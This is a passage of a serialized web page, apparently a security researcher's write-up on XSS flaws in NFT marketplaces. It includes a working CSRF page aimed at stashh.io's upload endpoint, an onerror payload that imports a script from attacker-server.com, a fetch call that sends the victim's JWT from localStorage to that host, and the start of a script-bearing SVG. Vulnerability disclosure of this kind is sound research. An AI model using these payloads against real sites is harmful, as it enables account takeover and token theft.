file123",{"type":24,"tag":327,"props":39817,"children":39818},{"style":381},[39819],{"type":29,"value":66},{"type":24,"tag":327,"props":39821,"children":39822},{"style":356},[39823],{"type":29,"value":39824},"files",{"type":24,"tag":327,"props":39826,"children":39827},{"style":381},[39828],{"type":29,"value":39622},{"type":24,"tag":327,"props":39830,"children":39831},{"style":356},[39832],{"type":29,"value":39833},"dataTransfer",{"type":24,"tag":327,"props":39835,"children":39836},{"style":381},[39837],{"type":29,"value":66},{"type":24,"tag":327,"props":39839,"children":39840},{"style":356},[39841],{"type":29,"value":39824},{"type":24,"tag":327,"props":39843,"children":39844},{"style":381},[39845],{"type":29,"value":405},{"type":24,"tag":327,"props":39847,"children":39848},{"class":329,"line":1148},[39849,39854],{"type":24,"tag":327,"props":39850,"children":39851},{"style":334},[39852],{"type":29,"value":39853},"    }",{"type":24,"tag":327,"props":39855,"children":39856},{"style":346},[39857],{"type":29,"value":39858},")()\n",{"type":24,"tag":327,"props":39860,"children":39861},{"class":329,"line":1176},[39862],{"type":24,"tag":327,"props":39863,"children":39864},{"emptyLinePlaceholder":16},[39865],{"type":29,"value":544},{"type":24,"tag":327,"props":39867,"children":39868},{"class":329,"line":1184},[39869,39873,39877],{"type":24,"tag":327,"props":39870,"children":39871},{"style":39086},[39872],{"type":29,"value":39555},{"type":24,"tag":327,"props":39874,"children":39875},{"style":334},[39876],{"type":29,"value":39126},{"type":24,"tag":327,"props":39878,"children":39879},{"style":39086},[39880],{"type":29,"value":9571},{"type":24,"tag":327,"props":39882,"children":39883},{"class":329,"line":1192},[39884,39888,39892],{"type":24,"tag":327,"props":39885,"children":39886},{"style":39086},[39887],{"type":29,"value":39140},{"type":24,"tag":327,"props":39889,"children":39890},{"style":334},[39891],{"type":29,"value":39093},{"type":24,"tag":327,"props":39893,"children":39894},{"style":39086},[39895],{"type":29,"value":9571},{"type":24,"tag":25,"props":39897,"children":39898},{},[39899],{"type":29,"value":39900},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":25,"props":39902,"children":39903},{},[39904],{"type":29,"value":39905},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":25,"props":39907,"children":39908},{},[39909],{"type":29,"value":39910},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":25,"props":39912,"children":39913},{},[39914],{"type":29,"value":39915},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":317,"props":39917,"children":39919},{"className":38073,"code":39918,"language":38075,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[39920],{"type":24,"tag":284,"props":39921,"children":39922},{"__ignoreMap":7},[39923,39938,39953,39984,40059,40110,40298,40337,40352,40367,40374,40389,40396,40407,40458,40465,40520,40547,40582,40589,40624,40631,40652,40663,40670,40685],{"type":24,"tag":327,"props":39924,"children":39925},{"class":329,"line":330},[39926,39930,39934],{"type":24,"tag":327,"props":39927,"children":39928},{"style":39086},[39929],{"type":29,"value":1596},{"type":24,"tag":327,"props":39931,"children":39932},{"style":334},[39933],{"type":29,"value":39093},{"type":24,"tag":327,"props":39935,"children":39936},{"style":39086},[39937],{"type":29,"value":9571},{"type":24,"tag":327,"props":39939,"children":39940},{"class":329,"line":367},[39941,39945,39949],{"type":24,"tag":327,"props":39942,"children":39943},{"style":39086},[39944],{"type":29,"value":39105},{"type":24,"tag":327,"props":39946,"children":39947},{"style":334},[39948],{"type":29,"value":39110},{"type":24,"tag":327,"props":39950,"children":39951},{"style":39086},[39952],{"type":29,"value":9571},{"type":24,"tag":327,"props":39954,"children":39955},{"class":329,"line":408},[39956,39960,39964,39968,39972,39976,39980],{"type":24,"tag":327,"props":39957,"children":39958},{"style":39086},[39959],{"type":29,"value":39105},{"type":24,"tag":327,"props":39961,"children":39962},{"style":334},[39963],{"type":29,"value":39126},{"type":24,"tag":327,"props":39965,"children":39966},{"style":39086},[39967],{"type":29,"value":438},{"type":24,"tag":327,"props":39969,"children":39970},{"style":346},[39971],{"type":29,"value":39135},{"type":24,"tag":327,"props":39973,"children":39974},{"style":39086},[39975],{"type":29,"value":39140},{"type":24,"tag":327,"props":39977,"children":39978},{"style":334},[39979],{"type":29,"value":39126},{"type":24,"tag":327,"props":39981,"children":39982},{"style":39086},[39983],{"type":29,"value":9571},{"type":24,"tag":327,"props":39985,"children":39986},{"class":329,"line":421},[39987,39991,39995,39999,40003,40007,40011,40015,40019,40023,40027,40031,40035,40039,40043,40047,40051,40055],{"type":24,"tag":327,"props":39988,"children":39989},{"style":39086},[39990],{"type":29,"value":39156},{"type":24,"tag":327,"props":39992,"children":39993},{"style":334},[39994],{"type":29,"value":39161},{"type":24,"tag":327,"props":39996,"children":39997},{"style":356},[39998],{"type":29,"value":39166},{"type":24,"tag":327,"props":40000,"children":40001},{"style":381},[40002],{"type":29,"value":384},{"type":24,"tag":327,"props":40004,"children":40005},{"style":844},[40006],{"type":29,"value":39175},{"type":24,"tag":327,"props":40008,"children":40009},{"style":356},[40010],{"type":29,"value":39180},{"type":24,"tag":327,"props":40012,"children":40013},{"style":381},[40014],{"type":29,"value":384},{"type":24,"tag":327,"props":40016,"children":40017},{"style":844},[40018],{"type":29,"value":39189},{"type":24,"tag":327,"props":40020,"children":40021},{"style":356},[40022],{"type":29,"value":24622},{"type":24,"tag":327,"props":40024,"children":40025},{"style":381},[40026],{"type":29,"value":384},{"type":24,"tag":327,"props":40028,"children":40029},{"style":844},[40030],{"type":29,"value":39202},{"type":24,"tag":327,"props":40032,"children":40033},{"style":356},[40034],{"type":29,"value":39207},{"type":24,"tag":327,"props":40036,"children":40037},{"style":381},[40038],{"type":29,"value":384},{"type":24,"tag":327,"props":40040,"children":40041},{"style":844},[40042],{"type":29,"value":39216},{"type":24,"tag":327,"props":40044,"children":40045},{"style":356},[40046],{"type":29,"value":39221},{"type":24,"tag":327,"props":40048,"children":40049},{"style":381},[40050],{"type":29,"value":384},{"type":24,"tag":327,"props":40052,"children":40053},{"style":844},[40054],{"type":29,"value":39230},{"type":24,"tag":327,"props":40056,"children":40057},{"style":39086},[40058],{"type":29,"value":9571},{"type":24,"tag":327,"props":40060,"children":40061},{"class":329,"line":450},[40062,40066,40070,40074,40078,40082,40086,40090,40094,40098,40102,40106],{"type":24,"tag":327,"props":40063,"children":40064},{"style":39086},[40065],{"type":29,"value":39242},{"type":24,"tag":327,"props":40067,"children":40068},{"style":334},[40069],{"type":29,"value":15927},{"type":24,"tag":327,"props":40071,"children":40072},{"style":356},[40073],{"type":29,"value":39251},{"type":24,"tag":327,"props":40075,"children":40076},{"style":381},[40077],{"type":29,"value":384},{"type":24,"tag":327,"props":40079,"children":40080},{"style":844},[40081],{"type":29,"value":39260},{"type":24,"tag":327,"props":40083,"children":40084},{"style":356},[40085],{"type":29,"value":39265},{"type":24,"tag":327,"props":40087,"children":40088},{"style":381},[40089],{"type":29,"value":384},{"type":24,"tag":327,"props":40091,"children":40092},{"style":844},[40093],{"type":29,"value":39274},{"type":24,"tag":327,"props":40095,"children":40096},{"style":356},[40097],{"type":29,"value":39166},{"type":24,"tag":327,"props":40099,"children":40100},{"style":381},[40101],{"type":29,"value":384},{"type":24,"tag":327,"props":40103,"children":40104},{"style":844},[40105],{"type":29,"value":39287},{"type":24,"tag":327,"props":40107,"children":40108},{"style":39086},[40109],{"type":29,"value":9571},{"type":24,"tag":327,"props":40111,"children":40112},{"class":329,"line":481},[40113,40117,40121,40125,40129,40133,40137,40141,40145,40149,40153,40157,40162,40166,40171,40175,40180,40184,40189,40194,40198,40202,40207,40212,40217,40222,40227,40232,40236,40241,40245,40249,40254,40258,40263,40268,40273,40277,40281,40285,40290,40294],{"type":24,"tag":327,"props":40114,"children":40115},{"style":39086},[40116],{"type":29,"value":39299},{"type":24,"tag":327,"props":40118,"children":40119},{"style":334},[40120],{"type":29,"value":15927},{"type":24,"tag":327,"props":40122,"children":40123},{"style":356},[40124],{"type":29,"value":39251},{"type":24,"tag":327,"props":40126,"children":40127},{"style":381},[40128],{"type":29,"value":384},{"type":24,"tag":327,"props":40130,"children":40131},{"style":844},[40132],{"type":29,"value":39316},{"type":24,"tag":327,"props":40134,"children":40135},{"style":356},[40136],{"type":29,"value":39265},{"type":24,"tag":327,"props":40138,"children":40139},{"style":381},[40140],{"type":29,"value":384},{"type":24,"tag":327,"props":40142,"children":40143},{"style":844},[40144],{"type":29,"value":39329},{"type":24,"tag":327,"props":40146,"children":40147},{"style":356},[40148],{"type":29,"value":39221},{"type":24,"tag":327,"props":40150,"children":40151},{"style":381},[40152],{"type":29,"value":384},{"type":24,"tag":327,"props":40154,"children":40155},{"style":844},[40156],{"type":29,"value":1406},{"type":24,"tag":327,"props":40158,"children":40159},{"style":334},[40160],{"type":29,"value":40161},"{"",{"type":24,"tag":327,"props":40163,"children":40164},{"style":844},[40165],{"type":29,"value":39351},{"type":24,"tag":327,"props":40167,"children":40168},{"style":334},[40169],{"type":29,"value":40170},"":"<",{"type":24,"tag":327,"props":40172,"children":40173},{"style":844},[40174],{"type":29,"value":11511},{"type":24,"tag":327,"props":40176,"children":40177},{"style":334},[40178],{"type":29,"value":40179},"/",{"type":24,"tag":327,"props":40181,"children":40182},{"style":844},[40183],{"type":29,"value":39380},{"type":24,"tag":327,"props":40185,"children":40186},{"style":334},[40187],{"type":29,"value":40188},"=",{"type":24,"tag":327,"props":40190,"children":40191},{"style":844},[40192],{"type":29,"value":40193},"x onerror",{"type":24,"tag":327,"props":40195,"children":40196},{"style":334},[40197],{"type":29,"value":40188},{"type":24,"tag":327,"props":40199,"children":40200},{"style":844},[40201],{"type":29,"value":812},{"type":24,"tag":327,"props":40203,"children":40204},{"style":334},[40205],{"type":29,"value":40206},"(`",{"type":24,"tag":327,"props":40208,"children":40209},{"style":844},[40210],{"type":29,"value":40211},"https",{"type":24,"tag":327,"props":40213,"children":40214},{"style":334},[40215],{"type":29,"value":40216},"://",{"type":24,"tag":327,"props":40218,"children":40219},{"style":844},[40220],{"type":29,"value":40221},"attacker-server",{"type":24,"tag":327,"props":40223,"children":40224},{"style":334},[40225],{"type":29,"value":40226},".",{"type":24,"tag":327,"props":40228,"children":40229},{"style":844},[40230],{"type":29,"value":40231},"com",{"type":24,"tag":327,"props":40233,"children":40234},{"style":334},[40235],{"type":29,"value":40179},{"type":24,"tag":327,"props":40237,"children":40238},{"style":844},[40239],{"type":29,"value":40240},"leak",{"type":24,"tag":327,"props":40242,"children":40243},{"style":334},[40244],{"type":29,"value":40226},{"type":24,"tag":327,"props":40246,"children":40247},{"style":844},[40248],{"type":29,"value":38075},{"type":24,"tag":327,"props":40250,"children":40251},{"style":334},[40252],{"type":29,"value":40253},"`)>","",{"type":24,"tag":327,"props":40255,"children":40256},{"style":844},[40257],{"type":29,"value":39438},{"type":24,"tag":327,"props":40259,"children":40260},{"style":334},[40261],{"type":29,"value":40262},"":"",{"type":24,"tag":327,"props":40264,"children":40265},{"style":844},[40266],{"type":29,"value":40267},"profile-assets",{"type":24,"tag":327,"props":40269,"children":40270},{"style":334},[40271],{"type":29,"value":40272},"","",{"type":24,"tag":327,"props":40274,"children":40275},{"style":844},[40276],{"type":29,"value":39467},{"type":24,"tag":327,"props":40278,"children":40279},{"style":334},[40280],{"type":29,"value":40262},{"type":24,"tag":327,"props":40282,"children":40283},{"style":844},[40284],{"type":29,"value":39476},{"type":24,"tag":327,"props":40286,"children":40287},{"style":334},[40288],{"type":29,"value":40289},""}",{"type":24,"tag":327,"props":40291,"children":40292},{"style":844},[40293],{"type":29,"value":1406},{"type":24,"tag":327,"props":40295,"children":40296},{"style":39086},[40297],{"type":29,"value":39490},{"type":24,"tag":327,"props":40299,"children":40300},{"class":329,"line":500},[40301,40305,40309,40313,40317,40321,40325,40329,40333],{"type":24,"tag":327,"props":40302,"children":40303},{"style":39086},[40304],{"type":29,"value":39299},{"type":24,"tag":327,"props":40306,"children":40307},{"style":334},[40308],{"type":29,"value":15927},{"type":24,"tag":327,"props":40310,"children":40311},{"style":356},[40312],{"type":29,"value":39251},{"type":24,"tag":327,"props":40314,"children":40315},{"style":381},[40316],{"type":29,"value":384},{"type":24,"tag":327,"props":40318,"children":40319},{"style":844},[40320],{"type":29,"value":39514},{"type":24,"tag":327,"props":40322,"children":40323},{"style":356},[40324],{"type":29,"value":39221},{"type":24,"tag":327,"props":40326,"children":40327},{"style":381},[40328],{"type":29,"value":384},{"type":24,"tag":327,"props":40330,"children":40331},{"style":844},[40332],{"type":29,"value":39527},{"type":24,"tag":327,"props":40334,"children":40335},{"style":39086},[40336],{"type":29,"value":39490},{"type":24,"tag":327,"props":40338,"children":40339},{"class":329,"line":529},[40340,40344,40348],{"type":24,"tag":327,"props":40341,"children":40342},{"style":39086},[40343],{"type":29,"value":39539},{"type":24,"tag":327,"props":40345,"children":40346},{"style":334},[40347],{"type":29,"value":39161},{"type":24,"tag":327,"props":40349,"children":40350},{"style":39086},[40351],{"type":29,"value":9571},{"type":24,"tag":327,"props":40353,"children":40354},{"class":329,"line":538},[40355,40359,40363],{"type":24,"tag":327,"props":40356,"children":40357},{"style":39086},[40358],{"type":29,"value":39555},{"type":24,"tag":327,"props":40360,"children":40361},{"style":334},[40362],{"type":29,"value":39110},{"type":24,"tag":327,"props":40364,"children":40365},{"style":39086},[40366],{"type":29,"value":9571},{"type":24,"tag":327,"props":40368,"children":40369},{"class":329,"line":547},[40370],{"type":24,"tag":327,"props":40371,"children":40372},{"emptyLinePlaceholder":16},[40373],{"type":29,"value":544},{"type":24,"tag":327,"props":40375,"children":40376},{"class":329,"line":557},[40377,40381,40385],{"type":24,"tag":327,"props":40378,"children":40379},{"style":39086},[40380],{"type":29,"value":39105},{"type":24,"tag":327,"props":40382,"children":40383},{"style":334},[40384],{"type":29,"value":39126},{"type":24,"tag":327,"props":40386,"children":40387},{"style":39086},[40388],{"type":29,"value":9571},{"type":24,"tag":327,"props":40390,"children":40391},{"class":329,"line":586},[40392],{"type":24,"tag":327,"props":40393,"children":40394},{"emptyLinePlaceholder":16},[40395],{"type":29,"value":544},{"type":24,"tag":327,"props":40397,"children":40398},{"class":329,"line":1017},[40399,40403],{"type":24,"tag":327,"props":40400,"children":40401},{"style":346},[40402],{"type":29,"value":39600},{"type":24,"tag":327,"props":40404,"children":40405},{"style":334},[40406],{"type":29,"value":18427},{"type":24,"tag":327,"props":40408,"children":40409},{"class":329,"line":1026},[40410,40414,40418,40422,40426,40430,40434,40438,40442,40446,40450,40454],{"type":24,"tag":327,"props":40411,"children":40412},{"style":356},[40413],{"type":29,"value":39612},{"type":24,"tag":327,"props":40415,"children":40416},{"style":356},[40417],{"type":29,"value":39617},{"type":24,"tag":327,"props":40419,"children":40420},{"style":381},[40421],{"type":29,"value":39622},{"type":24,"tag":327,"props":40423,"children":40424},{"style":425},[40425],{"type":29,"value":39627},{"type":24,"tag":327,"props":40427,"children":40428},{"style":381},[40429],{"type":29,"value":5894},{"type":24,"tag":327,"props":40431,"children":40432},{"style":425},[40433],{"type":29,"value":39627},{"type":24,"tag":327,"props":40435,"children":40436},{"style":340},[40437],{"type":29,"value":39640},{"type":24,"tag":327,"props":40439,"children":40440},{"style":381},[40441],{"type":29,"value":349},{"type":24,"tag":327,"props":40443,"children":40444},{"style":844},[40445],{"type":29,"value":39649},{"type":24,"tag":327,"props":40447,"children":40448},{"style":381},[40449],{"type":29,"value":39654},{"type":24,"tag":327,"props":40451,"children":40452},{"style":340},[40453],{"type":29,"value":39659},{"type":24,"tag":327,"props":40455,"children":40456},{"style":381},[40457],{"type":29,"value":15298},{"type":24,"tag":327,"props":40459,"children":40460},{"class":329,"line":1048},[40461],{"type":24,"tag":327,"props":40462,"children":40463},{"emptyLinePlaceholder":16},[40464],{"type":29,"value":544},{"type":24,"tag":327,"props":40466,"children":40467},{"class":329,"line":1067},[40468,40472,40476,40480,40484,40488,40492,40496,40500,40504,40508,40512,40516],{"type":24,"tag":327,"props":40469,"children":40470},{"style":356},[40471],{"type":29,"value":7558},{"type":24,"tag":327,"props":40473,"children":40474},{"style":356},[40475],{"type":29,"value":39682},{"type":24,"tag":327,"props":40477,"children":40478},{"style":381},[40479],{"type":29,"value":39622},{"type":24,"tag":327,"props":40481,"children":40482},{"style":334},[40483],{"type":29,"value":22646},{"type":24,"tag":327,"props":40485,"children":40486},{"style":340},[40487],{"type":29,"value":39695},{"type":24,"tag":327,"props":40489,"children":40490},{"style":381},[40491],{"type":29,"value":39700},{"type":24,"tag":327,"props":40493,"children":40494},{"style":356},[40495],{"type":29,"value":39659},{"type":24,"tag":327,"props":40497,"children":40498},{"style":381},[40499],{"type":29,"value":4474},{"type":24,"tag":327,"props":40501,"children":40502},{"style":844},[40503],{"type":29,"value":39713},{"type":24,"tag":327,"props":40505,"children":40506},{"style":381},[40507],{"type":29,"value":39718},{"type":24,"tag":327,"props":40509,"children":40510},{"style":356},[40511],{"type":29,"value":39723},{"type":24,"tag":327,"props":40513,"children":40514},{"style":844},[40515],{"type":29,"value":39728},{"type":24,"tag":327,"props":40517,"children":40518},{"style":381},[40519],{"type":29,"value":39733},{"type":24,"tag":327,"props":40521,"children":40522},{"class":329,"line":1075},[40523,40527,40531,40535,40539,40543],{"type":24,"tag":327,"props":40524,"children":40525},{"style":356},[40526],{"type":29,"value":39612},{"type":24,"tag":327,"props":40528,"children":40529},{"style":356},[40530],{"type":29,"value":39745},{"type":24,"tag":327,"props":40532,"children":40533},{"style":381},[40534],{"type":29,"value":39622},{"type":24,"tag":327,"props":40536,"children":40537},{"style":334},[40538],{"type":29,"value":22646},{"type":24,"tag":327,"props":40540,"children":40541},{"style":340},[40542],{"type":29,"value":39758},{"type":24,"tag":327,"props":40544,"children":40545},{"style":381},[40546],{"type":29,"value":4838},{"type":24,"tag":327,"props":40548,"children":40549},{"class":329,"line":1084},[40550,40554,40558,40562,40566,40570,40574,40578],{"type":24,"tag":327,"props":40551,"children":40552},{"style":356},[40553],{"type":29,"value":39770},{"type":24,"tag":327,"props":40555,"children":40556},{"style":381},[40557],{"type":29,"value":66},{"type":24,"tag":327,"props":40559,"children":40560},{"style":356},[40561],{"type":29,"value":39779},{"type":24,"tag":327,"props":40563,"children":40564},{"style":381},[40565],{"type":29,"value":66},{"type":24,"tag":327,"props":40567,"children":40568},{"style":340},[40569],{"type":29,"value":280},{"type":24,"tag":327,"props":40571,"children":40572},{"style":381},[40573],{"type":29,"value":349},{"type":24,"tag":327,"props":40575,"children":40576},{"style":356},[40577],{"type":29,"value":39796},{"type":24,"tag":327,"props":40579,"children":40580},{"style":381},[40581],{"type":29,"value":583},{"type":24,"tag":327,"props":40583,"children":40584},{"class":329,"line":1100},[40585],{"type":24,"tag":327,"props":40586,"children":40587},{"emptyLinePlaceholder":16},[40588],{"type":29,"value":544},{"type":24,"tag":327,"props":40590,"children":40591},{"class":329,"line":1128},[40592,40596,40600,40604,40608,40612,40616,40620],{"type":24,"tag":327,"props":40593,"children":40594},{"style":356},[40595],{"type":29,"value":39815},{"type":24,"tag":327,"props":40597,"children":40598},{"style":381},[40599],{"type":29,"value":66},{"type":24,"tag":327,"props":40601,"children":40602},{"style":356},[40603],{"type":29,"value":39824},{"type":24,"tag":327,"props":40605,"children":40606},{"style":381},[40607],{"type":29,"value":39622},{"type":24,"tag":327,"props":40609,"children":40610},{"style":356},[40611],{"type":29,"value":39833},{"type":24,"tag":327,"props":40613,"children":40614},{"style":381},[40615],{"type":29,"value":66},{"type":24,"tag":327,"props":40617,"children":40618},{"style":356},[40619],{"type":29,"value":39824},{"type":24,"tag":327,"props":40621,"children":40622},{"style":381},[40623],{"type":29,"value":405},{"type":24,"tag":327,"props":40625,"children":40626},{"class":329,"line":1148},[40627],{"type":24,"tag":327,"props":40628,"children":40629},{"emptyLinePlaceholder":16},[40630],{"type":29,"value":544},{"type":24,"tag":327,"props":40632,"children":40633},{"class":329,"line":1176},[40634,40639,40643,40648],{"type":24,"tag":327,"props":40635,"children":40636},{"style":356},[40637],{"type":29,"value":40638},"        form123",{"type":24,"tag":327,"props":40640,"children":40641},{"style":381},[40642],{"type":29,"value":66},{"type":24,"tag":327,"props":40644,"children":40645},{"style":340},[40646],{"type":29,"value":40647},"submit",{"type":24,"tag":327,"props":40649,"children":40650},{"style":381},[40651],{"type":29,"value":15298},{"type":24,"tag":327,"props":40653,"children":40654},{"class":329,"line":1184},[40655,40659],{"type":24,"tag":327,"props":40656,"children":40657},{"style":334},[40658],{"type":29,"value":39853},{"type":24,"tag":327,"props":40660,"children":40661},{"style":346},[40662],{"type":29,"value":39858},{"type":24,"tag":327,"props":40664,"children":40665},{"class":329,"line":1192},[40666],{"type":24,"tag":327,"props":40667,"children":40668},{"emptyLinePlaceholder":16},[40669],{"type":29,"value":544},{"type":24,"tag":327,"props":40671,"children":40672},{"class":329,"line":1212},[40673,40677,40681],{"type":24,"tag":327,"props":40674,"children":40675},{"style":39086},[40676],{"type":29,"value":39555},{"type":24,"tag":327,"props":40678,"children":40679},{"style":334},[40680],{"type":29,"value":39126},{"type":24,"tag":327,"props":40682,"children":40683},{"style":39086},[40684],{"type":29,"value":9571},{"type":24,"tag":327,"props":40686,"children":40687},{"class":329,"line":4841},[40688,40692,40696],{"type":24,"tag":327,"props":40689,"children":40690},{"style":39086},[40691],{"type":29,"value":39140},{"type":24,"tag":327,"props":40693,"children":40694},{"style":334},[40695],{"type":29,"value":39093},{"type":24,"tag":327,"props":40697,"children":40698},{"style":39086},[40699],{"type":29,"value":9571},{"type":24,"tag":25,"props":40701,"children":40702},{},[40703],{"type":29,"value":40704},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":317,"props":40706,"children":40710},{"className":40707,"code":40708,"language":40709,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[40711],{"type":24,"tag":284,"props":40712,"children":40713},{"__ignoreMap":7},[40714,40721,40742,40763,40780],{"type":24,"tag":327,"props":40715,"children":40716},{"class":329,"line":330},[40717],{"type":24,"tag":327,"props":40718,"children":40719},{"style":346},[40720],{"type":29,"value":18427},{"type":24,"tag":327,"props":40722,"children":40723},{"class":329,"line":367},[40724,40729,40733,40738],{"type":24,"tag":327,"props":40725,"children":40726},{"style":356},[40727],{"type":29,"value":40728},"  \"address\"",{"type":24,"tag":327,"props":40730,"children":40731},{"style":346},[40732],{"type":29,"value":3459},{"type":24,"tag":327,"props":40734,"children":40735},{"style":844},[40736],{"type":29,"value":40737},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":327,"props":40739,"children":40740},{"style":346},[40741],{"type":29,"value":2231},{"type":24,"tag":327,"props":40743,"children":40744},{"class":329,"line":408},[40745,40750,40754,40759],{"type":24,"tag":327,"props":40746,"children":40747},{"style":356},[40748],{"type":29,"value":40749},"  \"to\"",{"type":24,"tag":327,"props":40751,"children":40752},{"style":346},[40753],{"type":29,"value":3459},{"type":24,"tag":327,"props":40755,"children":40756},{"style":844},[40757],{"type":29,"value":40758},"\"profile-assets\"",{"type":24,"tag":327,"props":40760,"children":40761},{"style":346},[40762],{"type":29,"value":2231},{"type":24,"tag":327,"props":40764,"children":40765},{"class":329,"line":421},[40766,40771,40775],{"type":24,"tag":327,"props":40767,"children":40768},{"style":356},[40769],{"type":29,"value":40770},"  \"type\"",{"type":24,"tag":327,"props":40772,"children":40773},{"style":346},[40774],{"type":29,"value":3459},{"type":24,"tag":327,"props":40776,"children":40777},{"style":844},[40778],{"type":29,"value":40779},"\"icon\"\n",{"type":24,"tag":327,"props":40781,"children":40782},{"class":329,"line":450},[40783],{"type":24,"tag":327,"props":40784,"children":40785},{"style":346},[40786],{"type":29,"value":592},{"type":24,"tag":25,"props":40788,"children":40789},{},[40790],{"type":29,"value":40791},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":317,"props":40793,"children":40795},{"className":38073,"code":40794,"language":38075,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[40796],{"type":24,"tag":284,"props":40797,"children":40798},{"__ignoreMap":7},[40799],{"type":24,"tag":327,"props":40800,"children":40801},{"class":329,"line":330},[40802,40807,40811,40816,40821,40826,40830,40835,40839,40844,40848,40853,40857],{"type":24,"tag":327,"props":40803,"children":40804},{"style":340},[40805],{"type":29,"value":40806},"fetch",{"type":24,"tag":327,"props":40808,"children":40809},{"style":346},[40810],{"type":29,"value":349},{"type":24,"tag":327,"props":40812,"children":40813},{"style":844},[40814],{"type":29,"value":40815},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":327,"props":40817,"children":40818},{"style":334},[40819],{"type":29,"value":40820},"${",{"type":24,"tag":327,"props":40822,"children":40823},{"style":356},[40824],{"type":29,"value":40825},"localStorage",{"type":24,"tag":327,"props":40827,"children":40828},{"style":381},[40829],{"type":29,"value":66},{"type":24,"tag":327,"props":40831,"children":40832},{"style":340},[40833],{"type":29,"value":40834},"getItem",{"type":24,"tag":327,"props":40836,"children":40837},{"style":381},[40838],{"type":29,"value":349},{"type":24,"tag":327,"props":40840,"children":40841},{"style":844},[40842],{"type":29,"value":40843},"'token'",{"type":24,"tag":327,"props":40845,"children":40846},{"style":381},[40847],{"type":29,"value":3146},{"type":24,"tag":327,"props":40849,"children":40850},{"style":334},[40851],{"type":29,"value":40852},"}",{"type":24,"tag":327,"props":40854,"children":40855},{"style":844},[40856],{"type":29,"value":17929},{"type":24,"tag":327,"props":40858,"children":40859},{"style":346},[40860],{"type":29,"value":583},{"type":24,"tag":235,"props":40862,"children":40864},{"id":40863},"svgs",[40865],{"type":29,"value":40866},"SVGs",{"type":24,"tag":25,"props":40868,"children":40869},{},[40870],{"type":29,"value":40871},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":25,"props":40873,"children":40874},{},[40875],{"type":29,"value":40876},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":317,"props":40878,"children":40880},{"className":38073,"code":40879,"language":38075,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[40881],{"type":24,"tag":284,"props":40882,"children":40883},{"__ignoreMap":7},[40884,40930,40967,40974,41004,41036,41064,41072,41088],{"type":24,"tag":327,"props":40885,"children":40886},{"class":329,"line":330},[40887,40892,40897,40902,40906,40911,40916,40920,40925],{"type":24,"tag":327,"props":40888,"children":40889},{"style":381},[40890],{"type":29,"value":40891},"\u003C?",{"type":24,"tag":327,"props":40893,"children":40894},{"style":356},[40895],{"type":29,"value":40896},"xml",{"type":24,"tag":327,"props":40898,"children":40899},{"style":356},[40900],{"type":29,"value":40901}," version",{"type":24,"tag":327,"props":40903,"children":40904},{"style":381},[40905],{"type":29,"value":384},{"type":24,"tag":327,"props":40907,"children":40908},{"style":844},[40909],{"type":29,"value":40910},"\"1.0\"",{"type":24,"tag":327,"props":40912,"children":40913},{"style":356},[40914],{"type":29,"value":40915}," encoding",{"type":24,"tag":327,"props":40917,"children":40918},{"style":381},[40919],{"type":29,"value":384},{"type":24,"tag":327,"props":40921,"children":40922},{"style":844},[40923],{"type":29,"value":40924},"\"UTF-8\"",{"type":24,"tag":327,"props":40926,"children":40927},{"style":381},[40928],{"type":29,"value":40929},"?>\n",{"type":24,"tag":327,"props":40931,"children":40932},{"class":329,"line":367},[40933,40938,40943,40948,40953,40958,40963],{"type":24,"tag":327,"props":40934,"children":40935},{"style":381},[40936],{"type":29,"value":40937},"\u003C!",{"type":24,"tag":327,"props":40939,"children":40940},{"style":356},[40941],{"type":29,"value":40942},"DOCTYPE",{"type":24,"tag":327,"props":40944,"children":40945},{"style":356},[40946],{"type":29,"value":40947}," svg",{"type":24,"tag":327,"props":40949,"children":40950},{"style":356},[40951],{"type":29,"value":40952}," PUBLIC",{"type":24,"tag":327,"props":40954,"children":40955},{"style":844},[40956],{"type":29,"value":40957}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":327,"props":40959,"children":40960},{"style":844},[40961],{"type":29,"value":40962}," 